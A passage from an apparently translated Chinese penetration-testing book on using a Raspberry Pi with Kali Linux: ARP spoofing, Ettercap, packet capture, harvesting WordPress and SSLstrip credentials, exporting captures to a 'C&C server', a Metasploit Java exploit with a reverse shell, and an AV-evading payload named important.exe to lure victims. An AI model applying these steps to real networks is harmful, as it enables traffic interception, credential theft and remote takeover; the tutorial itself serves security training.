您可以使用cat
命令验证 IP 转发是否已启用,以在屏幕上显示1,表示它正在运行。命令如下:
cat /proc/sys/net/ipv4/ip_forward
- 现在,您需要找到树莓派连接的网络的默认网关和子网掩码。您可以使用以下命令找到这些信息:
netstat –nr
以下截图显示了我们的默认网关是10.0.2.1
,位于 C 类网络上,也称为网络掩码255.255.255.0
:
- 接下来,让我们确定一个要攻击的目标。正如本章前面提到的,
nmap
是一个很好的工具,可以用来识别网络上有哪些系统。在这种情况下,我们想要使用-R
进行反向查找,并包括sn
以避免端口扫描,因为我们只是在寻找一个目标。之前的截图显示默认网关网络是 C 类,所以我们可以使用以下命令使用nmap
扫描整个子网以寻找目标:
nmap –Rsn 10.0.2.0/24
我们的扫描显示了一个 IP 地址为10.0.2.63
的Dell
笔记本电脑可以被我们攻击。其他设备看起来像是Cisco
和Meraki
网络设备。让我们瞄准主机笔记本电脑。
- 现在是时候开始 ARP 缓存中毒,欺骗我们的目标和默认网关之间的流量,以便我们可以窃取该流量。我们的接口是
eth0
,由-i
选项表示,目标是10.0.2.63
,由-t
选项表示,而默认路由,也称为网关,是10.0.2.1
。这由-r
选项表示。命令如下:
arpspoof –i eth0 –t 10.0.2.63 –r 10.0.2.1
注意
在这种情况下,我们使用树莓派上的物理以太网适配器进行攻击。如果您使用 USB 无线适配器,您很可能会使用wlan0
作为您的接口。
- 您应该开始在窗口中看到 ARP 缓存中毒的流量,如下面的截图所示。保持此窗口打开,并运行诸如 Wireshark 之类的工具来查看数据捕获的流量。我们将在本章后面介绍这一点。
Ettercap
有一些工具可以简化 ARP 欺骗或端口桥接过程。Ettercap 是一个非常受欢迎的中间人攻击套件,包括先前描述的处理 ARP 欺骗步骤。它的其他关键功能包括嗅探实时连接,动态过滤内容以及对受害者进行各种其他攻击。有关此工具的更多信息,请访问ettercap.github.io/ettercap/。
Kali Linux ARM 镜像不包括 Ettercap。在运行apt-get install ettercap
命令后,有两种安装 Ettercap 的选项,如下面的屏幕截图所示。我们将首先使用 Ettercap GUI 选项,并使用apt-get ettercap-graphical
命令进行安装。
安装完成后,要运行 Ettercap,请键入sudo ettercap -G
。这将显示 Ettercap GUI,如下面的屏幕截图所示:
Ettercap 有两种嗅探选项。选项一是统一嗅探,这意味着通过一个接口嗅探通过电缆传输的所有数据包。此方法有选项,例如使用混杂模式,这意味着不是直接发送到主机的数据包会通过三层路由自动转发到主机。Ettercap 将禁用内核 ip 转发
,以避免通过内核和 Ettercap 两次发送数据包。
注意
如果目标交换机启用了 ARP 欺骗缓解功能,则此方法将无效。例如,在思科交换机上,启用DHCP 监听和动态 ARP 检查将阻止此攻击。在思科交换机上,这些命令看起来像ip dhcp snooping
和ip arm inspection vlan [vlan number]
。
选项二是桥接嗅探,这意味着使用两个网络接口并在它们之间转发流量。这类似于我们在本章早些时候使用brctl
命令桥接两个端口的方式。建议使用此嗅探方法而不是 ARP 欺骗,因为它更隐蔽,更有可能成功。这是因为先进的交换机具有对抗 ARP 欺骗攻击的方法。这种方法的缺点是以这种方式物理连接树莓派。
提示
以这种方式设置树莓派也是将其用作入侵检测/预防资产的理想选择。我们将在第五章中介绍这一点,结束渗透测试。
对于我们的示例,我们将使用统一嗅探,因为我们的树莓派正在使用一个eth0
端口进行攻击。单击嗅探菜单,然后选择统一嗅探...,如下面的屏幕截图所示:
Ettercap 将要求您从树莓派中选择一个接口。对于此次攻击,我们只使用标准的eth0
端口,因此我们已经选择了它,如下面的屏幕截图所示:
Ettercap 将在底部窗口显示有关插头和端口的一些详细信息。您还会注意到在顶部菜单中会出现一些新选项,如下面的屏幕截图所示。现在,我们需要扫描网络上的主机以进行攻击。您可以通过单击菜单中的主机,然后选择扫描主机来执行此操作。在 Ettercap 扫描网络目标时,您将看到一个进度条。
您将看到结果显示在文本框的底部。在我们的示例中,我们找到了四个主机。您可以单击主机,然后选择主机列表来查看主机。下面的屏幕截图显示了具有四个主机的主机列表:
您需要选择要放置在目标 1和目标 2区域的主机。在我们的示例中,我们将选择10.0.2.1
,这是默认网关,作为目标 2。我们将使用受害系统10.0.2.64
作为目标 1。这将使我们的树莓派位于这两个目标之间。
要向目标添加 IP 地址,请在主机列表的IP 地址部分中单击该 IP 地址,然后单击添加到目标 X,其中 X 是您要添加的目标。您将看到 Ettercap 在底部窗口中显示您选择的 IP 地址已添加到您选择的目标。您还可以通过从菜单中选择目标,然后选择当前目标来验证这一点。下面的屏幕截图显示了将主机10.0.2.64
添加为目标 1:
要 ARP 欺骗我们选择的目标,可以选择Mitm,然后选择Arp Poisoning...。这将弹出一个窗口,要求您在嗅探远程连接或仅毒害单向之间进行选择,如下面的屏幕截图所示。选择嗅探远程连接,然后单击确定按钮。
单击确定按钮后,Ettercap 应在底部窗口中显示,它正在 ARP 欺骗我们选择的目标 1和目标 2,这些目标是我们从主机扫描中选择的组 1和组 2中的所有受害者。最后一步是从开始菜单中选择开始嗅探,如下面的屏幕截图所示:
树莓派现在应该放在目标系统和默认网关之间的中间位置,并且可以使用诸如 Wireshark 之类的嗅探软件查看流量。Ettercap 有一个嗅探选项,但不如 Wireshark 等其他工具好,我们将在本章后面介绍。要在 Ettercap 运行时监视 ARP 欺骗攻击,请单击查看,然后选择连接。
Ettercap 命令行
Ettercap 还提供了一个命令行版本的软件,它消耗的资源比 GUI 少。您可以使用apt-get install ettercap-text-only
命令下载这个版本的 Ettercap。
假设您想执行 GUI 示例中涵盖的所有步骤,并攻击与树莓派相同网络上的所有设备。以下命令字符串将快速完成此操作:
ettercap –Tqi eth0 –M arp:remote //
下面的屏幕截图显示了与 GUI 方法类似的输出:
但是,在本示例中,我们正在攻击组 1和组 2中的所有主机,这意味着网络上的所有人。您可以看到我们正在监听eth0
,如命令中指定的那样,并且 Ettercap 已找到四个主机并将它们添加到两个组中。您还会注意到我们无法解密 SSL 流量;但是,这将在本章后面介绍。
您可以使用urlsnarf –i [网络接口]
命令验证 Ettercap 是否与dsniff
软件包的urlsnarf
部分等任何网络监视软件一起工作,如下面的屏幕截图所示:
在攻击进行时,您将在终端窗口中开始看到网络流量,表示正在捕获的内容,如下面的屏幕截图所示:
Driftnet
用于查看中间人攻击期间捕获的图像的实用程序是一个名为 Driftnet 的程序。有更好的方法来查找更有趣的数据;但是,如果您专注于查看图像,Driftnet 可能会有用。Driftnet 未预装在 Kali Linux ARM 上。您可以使用apt-get install driftnet
命令下载它。
安装后,使用 driftnet–i eth0
命令来运行它。这将打开一个新的终端窗口,该窗口将是空白的。任何受害者在中间人攻击期间看到的图像将开始在此窗口中显示。下面的屏幕截图显示了一个主机在 Driftnet 捕获图像时访问www.cisco.com:
调整您的网络捕获
在真实的渗透测试练习中,我们发现运行原始的tcpdump
捕获或使用 Wireshark 等工具会消耗大量的处理能力,有时会导致树莓派崩溃或变得无用。因此,在真实环境中最好避免使用这些工具,除非您调整捕获内容以减少对树莓派的负担。以下是以受控方式使用tcpdump
捕获网络流量的一些步骤。
Tcpdump 是一个非常有用的工具,了解如何使用该实用程序将有助于您充分利用树莓派上的该工具。以下部分将提供一些调优指针,但不打算成为 tcpdump 教程。
首先要考虑的是如何缩小 tcpdump 的搜索范围。您可以通过几种方式来做到这一点。第一种方法是指定host
关键字。host
关键字将查找由主机名或 IP 地址指定的流量。可以通过以下方式完成:
tcpdump host www.drchaos.com
或者,我们可以按以下方式使用 IP 地址:
tcpdump host 8.8.8.8
您还可以指定源 IP 地址、目标 IP 地址,或者同时指定源和目标。在以下示例中,我们已经定义了源和目标:
Tcpdump src 1.1.1.1 dst 2.2.2.2
如果需要,您不必这么具体,可以将搜索限制在源或目标上。
您可能需要查看属于特定网络子网的所有流量。为此,请在tcpdump
中使用net
命令。然而,在执行此操作之前,您应该记住一些事情。在繁忙的网络中,您的树莓派很可能无法跟上这些流量的捕获。它不仅受到处理能力的限制,还受到 100 MB 网络接口的限制。如果超出了树莓派的能力,最好的情况是它会丢弃流量,而不是捕获您期望的内容。最坏的情况可能意味着系统崩溃。
以下命令用于查看属于特定网络子网的所有流量:
tcpdump net 10.0.1.0/24
tcpdump icmp
您可以按照以下示例搜索特定的协议:
tcpdump port 80,21
尽管它被称为 tcpdump,但您可以指定传输控制协议(TCP)、用户数据报协议(UDP)和互联网控制消息协议(ICMP)协议。
您可以指定要监视的特定端口号。您还可以指定这将是源端口还是目标端口。您可以从以下示例中看到,我们结合了几个选项:
tcpdump src port 1099 and udp icmp and src port 20
您应该将发现写入一个文件,以便以后进行分析。要将您的发现写入文件,请使用-w
选项,后面跟上您要保存它们的文件名。最好使用.cap
作为文件扩展名:
tcpdump -s 10994 port 80 -w my_capture_file.cap
您可以直接从 tcpdump 中使用-r
选项读取文件,如以下命令所示:
tcpdump -r my_capture_file.cap
但是,我们建议您远程传输文件到 FTP、SCP、HTTPS 或任何其他类型的服务器。
为将来访问编写 tcpdump 脚本
您可能希望导出网络捕获以避免在本地树莓派上空间不足。以下是将捕获的数据导出到外部源以进行更多资源密集型任务(如破解密码或报告目的)的一些步骤。这些步骤也适用于本书的其他部分,需要导出数据的部分。
在第二章中,准备树莓派,我们建议设置一个远程服务器,也称为 C&C 服务器。我们还在本章的先前步骤中提到将捕获的文件传输到 FTP 服务器。关于使用 FTP,重要的是要记住 FTP 本身是不安全的。人们出于各种不同的原因使用 FTP。但是,对于真实的渗透测试练习,至关重要的是通过其他形式的加密来保护 FTP,例如Internet Protocol Secutiry(IPsec)隧道或SSH/Secure File Transfer Protocol(SFTP)。IPsec 确保所有数据传输都不会在互联网上发生,也就是说,不会公开给其他人捕获和查看。保护您的 FTP 还可以让您完全控制网络的两端,即客户端和服务器,以及传输介质。
注意
您可能会问“为什么要这样做,而不只使用 FTP?”如果您计划捕获敏感信息,保护这些数据是有意义的。这引出了一个问题,为什么首先考虑 FTP?我们在先前的部分中使用 FTP 是因为行业熟悉度和文件传输的自动脚本的可用性。但是,您可以通过寻找更安全的协议来实现相同的结果。
让我们看看如何开发一个简单的 FTP 脚本,以以下方式从远程树莓派提取数据。首先,打开文本编辑器并将文件保存为.py
扩展名。我们将文件保存为ftp.py
。
import ftplib #importing ftp module in python
session = ftplib.FTP('server.IP.address.com','USERNAME','PASSWORD')
file = open('*.cap','rb') # file to send
session.storbinary('STOR *.cap', file) # send the file
file.close() # close file and FTP
session.quit() # Quit the ftp session
接下来,您需要更改文件的权限。您可以通过发出chmod 777 ftp.py
命令来将其设置为可执行文件。
这是一个非常基本的脚本。您需要指定要传输的文件,用户名,密码和服务器的 IP 地址。
如果您发现经常使用此脚本方法,您可能会希望添加选项,例如自动监视目录以进行捕获,然后使用 FTP 自动上传。您甚至可能想要更改上传目录。
Tcpdump 和从树莓派导出的包含大量捕获数据的文件可能难以查看和组织。处理这些数据的更流行的方法是使用行业标准的基于 GUI 的网络分析器 Wireshark。让我们看看该应用程序的工作原理。
注意
我们发现 Wireshark 需要比许多轻量级命令行工具更多的处理能力,有时可能会导致树莓派变得不稳定或崩溃。因此,我们建议您使用 tcpdump 并调整捕获,这是我们刚刚介绍的主要捕获数据的方法。Wireshark 更适合在 C&C 服务器上使用,以查看捕获的数据,而不是直接从树莓派上使用。
Wireshark
Wireshark 是当今最受欢迎的开源数据包分析程序之一。它可以用于解决网络问题,分析系统之间的通信,并在渗透测试的情况下,一旦突破网络,就可以捕获数据。将 Wireshark 视为具有漂亮图形界面和巧妙数据排序功能的 tcpdump。Wireshark 预装在 Kali Linux ARM 映像上,并可以在 Kali Linux 应用程序下拉菜单的前十工具类别中找到。
提示
在实际环境中使用 Wireshark 之前,请在实验室中测试您的 Wireshark 用例。我们发现 Wireshark 有时会在真实练习中导致树莓派崩溃。因此,我们建议您在树莓派上直接使用调整后的 tcpdump 方法,并在远程 C&C 服务器上使用 Wireshark。如果必须使用 Wireshark,请在树莓派上使用 TShark,在 C&C 服务器上使用完整的 Wireshark。
使用 Wireshark 有两种方式。让我们先看看完整的 GUI。
当您启动 Wireshark 时,您会看到一个错误消息,稍后会看到一个警告消息,指出您正在以超级用户,也就是 root 的身份运行 Wireshark。只需点击OK即可访问主 GUI。
以下屏幕截图显示了 Wireshark 的 GUI:
在这一点上,我们假设您的树莓派上有流量运行,使用了本章前面介绍的方法,并且现在正在查看实时数据。第一步是通过点击Interface List按钮来查看您想要用 Wireshark 检查的接口。这将带来一个窗口,显示所有的接口以及哪些接口正在看到流量。
如果您将树莓派作为两个以太网接口之间的桥接器运行,您需要选择bridge0
接口作为数据源。如果您正在使用 ARP 欺骗方法来读取数据,意味着您只使用一个接口,您需要选择一个面向网络的端口,比如eth0
,如前面的屏幕截图所示。一旦您选择了一个接口,点击Start按钮,然后点击要监视的接口旁边的复选框。
注意
您还可以使用 Wireshark 查看先前捕获的数据,比如数据包捕获(pcap)文件。当将树莓派放在网络上进行网络捕获并稍后查看所发现的内容时,这是理想的。这种方法会占用内存,因此建议使用实时数据而不是在树莓派上存档大量数据包捕获文件,因为其存储能力有限。一个可能的解决方法是将网络捕获存储并导出到外部 C&C 服务器,以满足渗透测试的目的。
一旦您选择了一个接口,它将带来 Wireshark 实时捕获的页面。您可能会看到大量数据,包括 ARP 欺骗数据包,如果您正在使用 ARP 欺骗方法来通过您的树莓派获取流量,它们会显示为黑色:
Wireshark 的一个受欢迎的功能是能够快速筛选大量日志。您可以在过滤行中输入信息,比如特定主机、数据包类型等,然后快速缩小到感兴趣的特定数据包。让我们通过一个例子攻击来向您展示。
捕获 WordPress 密码的例子
在这个例子中,我们将以管理员身份登录到一个 WordPress 网站,然后停止 Wireshark 的实时捕获。这将捕获主机的登录会话,以便攻击者可以查看捕获的密码。要停止 Wireshark 捕获,请点击红色方块。Wireshark 界面可能需要一两分钟才能跟上显示。
在这一点上,我们想要查找 WordPress 登录信息。这可以在 POST 数据包中找到,意味着用户发送给系统的数据,比如用户名和密码。我们可以使用过滤器来过滤流量并锁定我们的目标数据。因此,在这个例子中,我们将使用ip.src ==
命令来查找目标的 IP 地址,使用http.request.full_url
命令来查找 http 请求登录信息,然后点击Apply来执行它。您可以在之前的屏幕截图中看到命令在绿色过滤区域中,以及过滤后的输出样子。
注意
请注意,在我们输入命令字符串后,过滤部分的颜色是绿色的。Wireshark 在您输入文本时会验证文本并提供可能的过滤表达式。如果输出有错误,过滤框的颜色会变成红色。
因此,我们使用以下命令来过滤目标 IP 地址:
ip.src == [target IP] and http.request.full_url
提示
为了避免树莓派崩溃,建议您暂停网络捕获并在输入过滤表达式之前等待一分钟。
一旦应用过滤器,Wireshark 需要一些时间来清除所有不需要的数据。在 Wireshark 处理捕获数据上的过滤器时,您将看到一个进度窗口。
我们可以忽略 GET 数据包,因为这是主机在登录之前加载网站,以及 TCP 数据包,因为它们是 ARP 欺骗数据。要快速查看数据,我们可以单击其中一个选项卡,例如协议选项卡,以根据该选项卡的功能按字母顺序对数据进行排序。这样做需要几秒钟,并且在计算时间内再次会出现一个进程选项卡。
我们想要的是显示用户向服务器提交信息时显示的 POST 行。如下屏幕截图所示:
要查看原始数据包,我们需要单击此数据包行,右键单击以显示选项,然后选择跟踪 TCP 字符串。这将打开一个过程字符串并显示原始登录数据:
在先前显示的原始数据捕获中,我们可以看到许多有用的数据(由于这是一个实时服务器,关键项目已经失真)。要注意的行是包含log=显示用户名和pwd=显示明文密码的行。
TShark
TShark 是 Wireshark 的命令行版本。如果您必须从树莓派运行 Wireshark,TShark 是最佳选择。将 TShark 视为捕获数据包的 tcpdump 的替代方案。
要运行 TShark,只需在命令行终端中输入tshark
,它将选择一个可用的接口。您还可以使用tshark eth0
手动选择要捕获的接口,以选择eth0
端口。以下屏幕截图显示了tshark
进行基本捕获:
您很可能希望将数据捕获到文件中,以便将其导出到您的 C&C 服务器。您可以使用“tshark –w [文件名].cap”命令指定要保存捕获数据的文件。以下屏幕截图显示了运行捕获并将数据保存到名为capture.cap
的文件中。我们可以使用Ctrl + C命令停止捕获后使用ls
命令显示此文件:
如果您不停止 TShark 捕获,最终会耗尽内存。为了避免这种情况,您可以通过在命令中添加“-c [数字]”来指定要捕获的数据包数量。在我们的示例中,我们可以使用命令“tshark –c 500 –w capture.cap”来在停止之前捕获五百个数据包。这是在执行有针对性的渗透测试时的理想情况,这意味着您可以为捕获指定可用存储空间,将该信息保存到文件中,并使用本书介绍的步骤将其导出到您的 C&C 服务器。我们通过创建一个脚本来完成了类似的过程,该脚本使用 tcpdump 执行此操作。如果您希望使用替代选项进行数据包捕获,可以调整该脚本以运行 TShark 而不是 tcpdump。
通过 SSLstrip 击败 HTTPS
主机系统对 Web 服务器进行中间人攻击的一种防御是 SSL 加密。当您访问诸如在线银行或在线购物等敏感服务时,您通常会遇到这种情况。许多浏览器通过显示一个小锁来展示 HTTPS 已经启用,给最终用户一种安全感。
由于安全研究人员 Moxie Marlinspike 的工作,可以通过 SSLstrip 绕过这一层防御。SSLstrip 通过代理受害者的 HTTPS 请求并使用 HTTP 发送它们来工作。HTTP 流量未加密,容易被窃听。一旦 SSLstrip 强制使用 HTTP 连接,攻击者就可以使用 tcpdump 查看访问 Facebook 等帐户的人的未加密登录凭据。
随后开发了HTTP 严格传输安全(HSTS)规范来对抗这些攻击;然而,HSTS 的部署速度较慢。此外,一些企业,如在线银行,正在采用不托管其网站的 HTTP 版本的政策,这将在进行此攻击时显示“页面未找到”的消息。不幸的是,许多其他企业宁愿托管其网站的 HTTP 和 HTTPS 版本,以避免看起来像他们的网站已关闭,而不考虑使用 SSLstrip 进行中间人攻击的风险。因此,今天仍然经常看到 SSLstrip 攻击。
让我们看一个主机和互联网之间的 SSLstrip 攻击,他/她试图访问自己的 Facebook 帐户。以下屏幕截图显示了用户和 Facebook 之间的通信应该如何进行:
当涉及中间人 SSLstrip 攻击时,SSL 加密会话被阻止,HTTP 响应被发送回受害者。当他们发送信息时,他们不知道信息是明文的,并且可以使用网络嗅探器轻松查看。
以下图片显示了 SSLstrip 拦截的 SSL 连接:
使用 Kali Linux 的 Raspberry Pi 的用例是将攻击系统放在网络上并扫描要攻击的系统。使用本节中的步骤,攻击者可以对内部用户执行中间人 SSLstrip 攻击,以挖掘用户密码。
发动 SSLstrip 攻击
SSLstrip 攻击是通过以下步骤启动的:
-
Kali Linux ARM 镜像不带有安装的 SSLstrip,因此在我们做任何事情之前,我们必须下载它。发出
apt-get install sslstrip
命令来下载实用程序。 -
安装 SSLstrip 后,我们需要做的第一件事是启动 ARP 欺骗。这在本章的前面已经介绍过,因此我们将快速介绍 ARP 欺骗过程。总结这些步骤,执行以下操作:
-
使用
echo 1 > /proc/sys/net/ipv4/ip_forward
启用 IP 转发 -
使用
netstat -nr
识别默认网关和子网掩码 -
使用
nmap -Rsn [网络/子网掩码]
使用nmap
标识网络上的目标 -
使用
arpspoof -i eth0 -t [目标 IP] -r [默认网关]
启动 ARP 缓存中毒 -
这将显示 ARP 缓存中毒的流量。保持此窗口打开
一旦运行,您应该开始看到 ARP 欺骗流量,如下面的屏幕截图所示:
- 一旦设置了 ARP 缓存中毒,打开一个新的终端窗口,使用
iptables
设置端口重定向。这使得攻击者能够捕获发送到 TCP 80 上的 HTTP 服务器的流量,并将该流量重定向到 SSLstrip 监听端口。攻击者可以使用任何适用的值。例如,我们将使用以下命令使用8080
来显示这一点。
iptables –t nat –A PREROUTING –p tcp --destination-port 80 -j REDIRECT --to-port 8080
所选的重定向目的地也必须用于设置 SSLstrip 的监听端口。
以下屏幕截图显示了上述命令的启动:
注意
禁用此命令中的PREROUTING
规则,将-A
替换为-D
以清除所使用的所有表规则。
-
要刷新,请使用命令
iptables -t nat -F
-
要验证,请使用命令
iptables -t nat -L
提示
ARP 欺骗有许多配置选项。您可以使用man tables
命令查看其他选项。
- 发动 SSLstrip 攻击。在本例中,我们将使用 TCP
8080
作为监听端口。因此,命令将是sslstrip -l 8080
,如下面的屏幕截图所示:
要查看攻击结果,请打开另一个终端窗口并键入tail -n 50 -f sslstrip.log
。
要测试这种攻击,请在受害者系统上打开一个网页浏览器,并访问需要使用 SSL 加密的系统,比如在线邮件。然后返回到显示sslstrip.log
文件的终端窗口,你应该能看到清晰文本中的用户名和密码,如下面的屏幕截图所示。这些数据可以打包成一个文本文件,以便攻击者可以在以后的时间检索它。
注意
这种攻击仅限于局域网。
摘要
在本章中,我们开始使用树莓派和 Kali Linux 进行渗透测试。我们首先介绍了如何使用 nmap 来评估网络设备、端口和其他可能被利用的数据点。接下来,我们看了如何破解无线网络,以便我们可以访问网络并运行 nmap 或其他扫描工具集。
一旦我们对局域网和无线网络进行了基本的网络侦察,我们就看了一些可以在网络上启动的攻击技术。我们首先介绍了进行中间人攻击的方法,目的是通过树莓派获取数据。后来,我们介绍了如何在监视受信任源和受害者之间的流量时突破 SSL 加密。我们还介绍了如何调整数据包捕获并导出数据,以避免树莓派崩溃。
下一章将介绍如何利用树莓派来破坏系统和捕获敏感数据的高级战术。
第四章:树莓派攻击
在前几章中,我们学习了如何为渗透测试设置树莓派。步骤包括安装 Kali Linux,建立对目标网络的访问,并执行基本的侦察。在本章中,我们将专注于在树莓派在网络上确立立足点后攻击目标。主题包括妥协系统,设置社会工程攻击,利用互联网浏览器,并使用 Kali Linux 中可用的工具开发流氓访问。将涵盖的一些工具预装在 Kali Linux ARM 映像上;但是,我们建议您使用apt-get
命令下载最新版本并定期更新它们。
在本章中,我们将涵盖以下主题:
-
攻击目标
-
Metasploit
-
社会工程
-
社会工程师工具包
-
使用 BeEF 进行网络钓鱼
-
Rogue access honeypots
-
Easy-creds
提示
由于树莓派的尺寸和处理能力有限,因此强烈建议您在使用树莓派进行实时渗透测试之前在实验室中测试以下技术。
攻击目标
利用系统意味着利用系统中的错误、故障或漏洞,并导致系统的意外行为。通常,意外行为是允许攻击者访问系统或通过拒绝服务技术进行攻击。关于坐落在目标网络上的树莓派,目标是利用树莓派作为内部人员,用于攻击本地系统。这样,除非周界防御具有对相同网络段的可见性,否则它们将无法检测到攻击,使用行为分析或由 IPS/IDS 监视的交换机端口分析器(SPAN)镜像。我们发现许多管理员将最佳安全防御措施放在网络边缘,使他们对主机之间的通信视而不见。这是在这样的网络上放置树莓派并使用来自世界各地的远程连接控制它的理想情况。您将在本章的许多部分看到这种攻击模型的图表。
Kali Linux 的完整安装有大量可用于利用系统的应用程序;但是,其中许多工具未预装在 Kali Linux ARM 映像上。您可以使用apt-get
命令安装大多数缺失的工具,但有些工具可能无法正常运行,或者会通过消耗过多的处理能力使树莓派无法使用。因此,我们设计了本章围绕树莓派定制的非常具体的攻击。
让我们从使用最流行的利用框架 Metasploit 构建攻击开始。
Metasploit
Metasploit 项目被许多人视为针对目标机器执行利用代码的事实标准。Metasploit 框架包含各种平台的数百个可用利用。攻击者可以在利用模块中包含有效载荷、编码器和无操作(NOP)幻灯片生成器,以解决几乎任何与利用相关的攻击。Metasploit 流行的关键在于它将复杂的攻击武器化为脚本格式,以便普通用户可以在几分钟内发动复杂的攻击。您可以在www.metasploit.com了解更多关于 Metasploit 的信息。
Metasploit 框架有许多不同的工具可用于利用系统。可用的工具如下:
-
Msfcli:这是一个命令行界面,允许用户通过脚本启动利用或攻击的框架。
-
Msfconsole:这是访问 Metasploit 最流行的方式。Msfconsole 通过一系列上下文驱动的命令提示符提供对整个框架的访问。
-
漏洞利用:漏洞利用将危害受害者机器,它们可以分为主动和被动漏洞利用。主动漏洞利用一直运行,直到获得 shell 访问或者因为某种异常错误而停止利用。在下面的屏幕截图中,我们展示了一个主动漏洞利用,因为攻击者执行攻击,直到他们通过 shell 访问受害者的机器:
另一方面,被动漏洞利用会等待受害者机器连接到 Metasploit,然后 Metasploit 运行攻击。主动和被动漏洞利用的区别在于,Metasploit 在主动利用中会发起连接,而在被动攻击中会等待受害者。
-
载荷:Metasploit 允许攻击者使用单级和多级作为载荷。这些的描述以及何时使用它们可能会变得复杂,超出了基于 Raspberry Pi 的书籍的范围。我们建议您在本节末尾引用的 Metasploit Unleashed 主页上寻找更多信息。
-
数据库:Metasploit 内置支持 PostgreSQL 数据库系统。这个数据库系统允许攻击者跟踪主机、网络和漏洞。在 Metasploit 中使用内置数据库的主要目的之一是跟踪您发现的内容,并帮助记录未来的攻击和报告。
-
Meterpreter:这是 Metasploit 中最强大的资源之一。它在内存载荷方面是动态的。根据被攻击的系统、漏洞的性质以及运行方式,Meterpreter 可以为攻击者提供完整的 shell 功能和对受害者机器的远程控制。
提示
有许多优秀的书籍和资源可供学习 Metasploit。一个建议是免费的 Offensive Security Metasploit Unleashed 介绍,网址为www.offensive-security.com/metasploit-unleashed/Main_Page
。
关于 Raspberry Pi,当从 Kali Linux ARM 映像运行时,一些 Metasploit 模块无法正常运行。因此,我们建议您只发起非常具体的攻击。在我们的例子中,我们将假设 Raspberry Pi 可以访问内部网络,并且您想要识别一个目标进行入侵。攻击本地系统的步骤如下:
-
使用 Nmap 扫描网络来识别目标。
-
使用 Nmap 扫描目标,寻找可能的漏洞。
-
在 Metasploit 中搜索与 Nmap 扫描期间识别的漏洞相匹配的攻击。
-
对漏洞发起攻击。
如果成功的话,您将获得对系统的访问权限。
以下图表表示这种攻击在目标网络上的样子:
让我们通过使用 Metasploit 来危害本地网络上的系统。
要启动 Metasploit,从命令行窗口输入msfconsole
命令。在 Raspberry Pi 上启动 Metasploit 可能需要几分钟的时间。
以下屏幕截图显示了在 Raspberry Pi 上启动 Metasploit:
一旦您在 Metasploit 中使用msfconsole
,您将看到一个新的命令提示符。让我们针对一个目标使用一个漏洞。在这个例子中,我们将演示一个 Java 漏洞。为了实现这一点,输入use exploit/multi/browser/java_jre17_ exec
命令。
以下屏幕截图显示了上述命令的启动:
这将把您的提示更改为msf exploit
。接下来,我们将使用 Metasploit 交付一个生成反向 shell 的有效载荷。反向 shell是攻击者从其 PC 本地访问的命令提示符,用于攻击远程受害者目标系统时运行命令。我们将使用set PAYLOAD java/shell/reverse_tcp
命令设置有效载荷。您将看到PAYLOAD => shell 与您的设置,这将确认它已被接受。
为了使攻击生效,攻击者必须在有效载荷中设置选项。您可以通过输入show options
命令查看可用选项。一些选项是必需的,而其他选项则取决于您在使用show options
命令时标记它们的方式。这个特定的有效载荷只需要一个选项,即LHOST
选项。LHOST
是攻击者的本地 IP 地址。这告诉 Metasploit,当有效载荷传递给受害者时,受害者将如何连接回攻击者。您需要确保攻击者机器的 IP 地址(LHOST
)可以被受害者机器访问,以便在成功执行此攻击后建立连接。
要配置LHOST
选项,请输入set LHOST Kali 的 IP 地址
,其中 Kali 的地址是托管 Kali Linux 的树莓派的 IP 地址。您可以使用show options
命令验证更改,并查看LHOST
名称现在是否有一个值。以下屏幕截图显示了LHOST
名称设置为192.168.1.10
:
输入exploit
命令以执行带有您选项的有效载荷。
如果您的受害者正在运行一个可利用的 Java 版本,您将获得对受害者机器的反向 shell。要测试该漏洞,转到受害者机器,打开一个 Web 浏览器,并浏览托管 Kali Linux 的机器。对于我们的示例,这将是192.168.1.10
。
通常,受害者不会自愿浏览攻击者的机器;然而,这是在实验室环境中测试您的漏洞是否有效的好方法。真实世界的攻击者会在精心制作的网页中放置一个链接,比如在一个看似无害的网页中隐藏的 iFrame 中。还有许多其他攻击可以利用远程漏洞,以便攻击者也可以启动有效载荷。
一旦受害者浏览攻击者运行漏洞的机器,有效载荷将被加载,受害者将被利用,使攻击者可以访问受害者机器的 shell(命令行)。
提示
您可以通过在测试受害者机器上安装一个旧版本的 Java 来测试此攻击。Java 1.0.7_6 是一个可能用于测试的选项。您可以在 Oracle 的网站上找到 Java 的旧版本,网址为www.oracle.com/technetwork/java/archive-139210.html
。
使用 Metasploit 创建自己的有效载荷
使用 Metasploit 的另一种流行方式是创建恶意有效载荷。在计算术语中,有效载荷意味着数据传输。当我们提到恶意有效载荷时,我们指的是向数据传输中添加受害者不希望的内容,比如后门。Metasploit 提供了大量有效载荷选项,可以在安装后为系统提供根访问权限。
大多数安全解决方案,如防病毒软件或 IPS,都是设计用于检测有效载荷。然而,Metasploit 包括编码器来绕过这些传统的防御措施。编码意味着向文件添加随机数据,使其看起来与实际情况不同。大多数传统安全防御利用已知威胁的列表,也称为签名,这意味着如果威胁不在该列表上,它就不会被检测到。编码提供了一种使有效载荷看起来足够独特,以免触发已知签名并击败传统防御措施的方法。有些人称之为“零日”威胁,这意味着商业供应商都没有该威胁的签名来检测它。
对于下一次攻击,我们将创建一个载荷,对其进行编码,以便绕过传统的安全防御,并将其放在目标系统上。载荷可以通过电子邮件或 USB 传递,或者如果利用足够成功以获得基本系统访问权限,则可以将载荷放置在目标系统上,以提升攻击者在该系统上的访问权限级别。
提示
最佳实践是在更强大的系统中创建载荷,并通过树莓派传输它们,而不是直接在树莓派中创建它们。
让我们看看如何开发一个载荷并用 Metasploit 对其进行编码。
第一步是打开 Metasploit 并在命令终端中输入msfconsole
。大约一分钟后,您将看到 Metasploit 的介绍页面。
您可以通过访问msfpayload
子部分来生成载荷。可以使用msfpayload –h
命令查看可用格式和msfpayload –l
命令查看实际载荷选项。对于我们的示例,我们选择了最流行的漏洞之一,称为reverse_tcp
载荷,用于利用 Windows 系统。以下截图演示了选择此载荷并配置监听地址,即我们系统的 IP 地址以监听端口4444
:
Metasploit 可以为攻击生成不同的文件格式。在我们的示例中,我们将创建一个名为important.exe
的可执行文件,以便受害者相信它是一个重要的更新。请注意,这就是社会工程学发挥作用的地方,这意味着您可以将这个可执行文件命名为用户期望安装的内容,并将其包含在社会工程活动中。要创建important.exe
文件,请在原始载荷之后使用X > important.exe
命令。以下截图显示了创建此文件的过程:
创建文件后,您可以在root
文件夹中找到该文件。困难的部分是想出一个巧妙的方法来让受害者安装该文件。如果您能说服 Windows 用户安装它,假设一切都按预期运行,您将被授予对该系统的具有 root 权限的后门。这个概念对本章后面介绍的其他攻击示例可能会有用。以下截图显示了我们在目标计算机上的important.exe
文件:
包装载荷
